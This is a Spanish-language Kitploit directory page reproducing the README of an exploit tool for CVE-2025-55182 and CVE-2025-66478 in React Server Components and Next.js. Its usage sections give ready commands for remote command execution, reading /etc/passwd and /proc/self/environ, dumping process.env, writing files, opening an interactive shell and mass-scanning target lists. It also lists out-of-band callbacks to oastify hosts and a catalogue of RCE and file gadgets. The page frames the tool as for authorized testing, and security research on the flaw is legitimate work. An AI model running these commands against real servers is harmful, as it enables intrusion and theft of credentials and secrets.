Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-Exploit-PoC-Scanner — Herramienta de explotación para CVE-2025-55182 y CVE-2025-66478 en React Server Components y Next.js, con gadgets de RCE, lectura/escritura de archivos, callbacks fuera de límites (OOB) y shell interactivo para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/zemarkhos/cve-2025-55182-exploit-poc-scanner
Escáneres de VulnerabilidadesAnálisis Dinámico (Sandboxing)ExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónComando y ControlAprendizaje y Educación
Red Teaming
Desarrollo de Payloads
GitHubzemarkhos/cve-2025-55182-exploit-poc-scanner

CVE-2025-55182-Exploit-PoC-Scanner

Herramienta de explotación para CVE-2025-55182 y CVE-2025-66478 en React Server Components y Next.js, con gadgets de RCE, lectura/escritura de archivos, callbacks fuera de límites (OOB) y shell interactivo para pruebas de seguridad autorizadas.

Ver Repositorio
2125hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 - Exploit RCE de React Server Components v2.0

Una herramienta integral de investigación de seguridad para probar las vulnerabilidades CVE-2025-55182 y CVE-2025-66478 en React Server Components (RSC) y Next.js Server Actions.

Resumen de la vulnerabilidad

PropiedadValor
IDs CVECVE-2025-55182, CVE-2025-66478
Puntuación CVSS10.0 (CRÍTICO)
Versiones AfectadasReact < 19.2.0, Next.js < 15.0.5
Tipo de VulnerabilidadEjecución Remota de Código (RCE)
Vector de AtaqueRed

Características

  • Escaneo de vulnerabilidades estilo PortSwigger con múltiples cargas útiles de detección
  • Múltiples gadgets RCE (execSync, spawnSync, vm.runInThisContext, etc.)
  • Pruebas de callback fuera de banda (OOB) para verificación ciega de RCE
  • Capacidades de lectura/escritura de archivos
  • Ejecución de código JavaScript
  • Modo de shell interactiva
  • Escaneo masivo con múltiples hilos
  • Soporte de proxy (compatible con Burp Suite)
  • Formatos de salida JSON/Texto

Instalación

Requisitos

pip install requests

Versión de Python

  • Python 3.7 o superior

Inicio rápido

# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check

# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan

# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com

# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Interactive shell
python3 exploit-custom.py -u https://target.com --shell

Uso

Argumentos de línea de comandos

usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
                         [-H HEADER] [-t THREADS] [--timeout TIMEOUT]
                         [--check] [--detect] [--scan] [--test-all]
                         [--oob HOST] [--cmd CMD] [--gadget GADGET]
                         [--read FILE] [--write FILE CONTENT] [--js JS]
                         [--shell] [-o OUTPUT] [-q]

Selección de objetivo

ArgumentoDescripciónEjemplo
-u, --urlURL de destino única-u https://target.com
-l, --listArchivo que contiene URLs-l targets.txt

Modos de escaneo

ArgumentoDescripción
--detectDetectar uso de Next.js/RSC
--checkVerificación rápida de vulnerabilidad (prueba matemática)
--scanEscaneo completo de vulnerabilidades (estilo PortSwigger)
--test-allProbar todos los gadgets y cargas útiles de detección

Explotación

ArgumentoDescripciónEjemplo
--cmdEjecutar comando de shell--cmd "id"
--gadgetEspecificar gadget a usar--gadget execSync
--readLeer archivo del objetivo--read /etc/passwd
--writeEscribir archivo en el objetivo--write /tmp/test.txt "content"
--jsEjecutar código JavaScript--js "process.env"
--shellIniciar shell interactiva--shell
--oobHost de callback OOB--oob xyz.oastify.com

Opciones de conexión

ArgumentoDescripciónEjemplo
-p, --proxyProxy HTTP/HTTPS-p http://127.0.0.1:8080
-c, --cookiesCadena de cookies-c "session=abc123"
-H, --headerCabecera extra (repetible)-H "X-Custom: value"
-t, --threadsNúmero de hilos para escaneo masivo-t 20
--timeoutTiempo de espera de solicitud en segundos--timeout 60

Opciones de salida

ArgumentoDescripción
-o, --outputGuardar resultados en archivo (.json o .txt)
-q, --quietSuprimir banner

Ejemplos de escaneo

Objetivo único

# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect

# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check

# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan

# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com

Escaneo masivo

# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json

# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json

# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json

Ejemplos de explotación

Ejecución de comandos

# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync

Operaciones con archivos

# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ

# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"

Ejecución de JavaScript

# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"

# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"

# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"

Shell interactiva

python3 exploit-custom.py -u https://target.com --shell

Comandos del shell:

ComandoDescripción
<comando>Ejecutar comando de shell
!read <archivo>Leer archivo
!write <archivo> <contenido>Escribir archivo
!js <código>Ejecutar JavaScript
!gadget <nombre>Cambiar gadget
exitSalir del shell

Gadgets disponibles

Gadgets RCE

NombreID del móduloDescripción
execSyncchild_process#execSyncEjecución directa de comandos de shell
execFileSyncchild_process#execFileSyncEjecutar archivo binario
spawnSyncchild_process#spawnSyncCrear proceso con argumentos
vm_runInThisContextvm#runInThisContextEjecutar JS en contexto actual
vm_runInNewContextvm#runInNewContextEjecutar JS con escape del sandbox
vm_runInThisContext_globalvm#runInThisContextEjecutar mediante global.process

Gadgets de archivos

NombreID del móduloDescripción
fs_readFileSyncfs#readFileSyncLeer archivos arbitrarios
fs_writeFileSyncfs#writeFileSyncEscribir archivos arbitrarios

Gadgets OOB

NombreDescripción
vm_fetchSolicitud HTTP mediante API fetch (Node 18+)
vm_httpSolicitud HTTP mediante módulo http

Cargas útiles de detección (CVE-2025-66478)

El modo --scan utiliza estas cargas útiles de detección estilo PortSwigger:

Carga útilDescripción
property_referenceReferencia de propiedad delimitada por dos puntos ["$1:a:a"]
property_reference_v2Referencia alternativa ["$1:b:b"]
property_reference_constructorAcceso al constructor mediante referencia de propiedad
property_reference_protoAcceso a la cadena de prototipos mediante referencia de propiedad
action_ref_vmACTION_REF con vm#runInThisContext
action_ref_execSyncACTION_REF con child_process#execSync

Métodos de callback OOB

La herramienta soporta múltiples métodos de callback OOB:

Descargar herramienta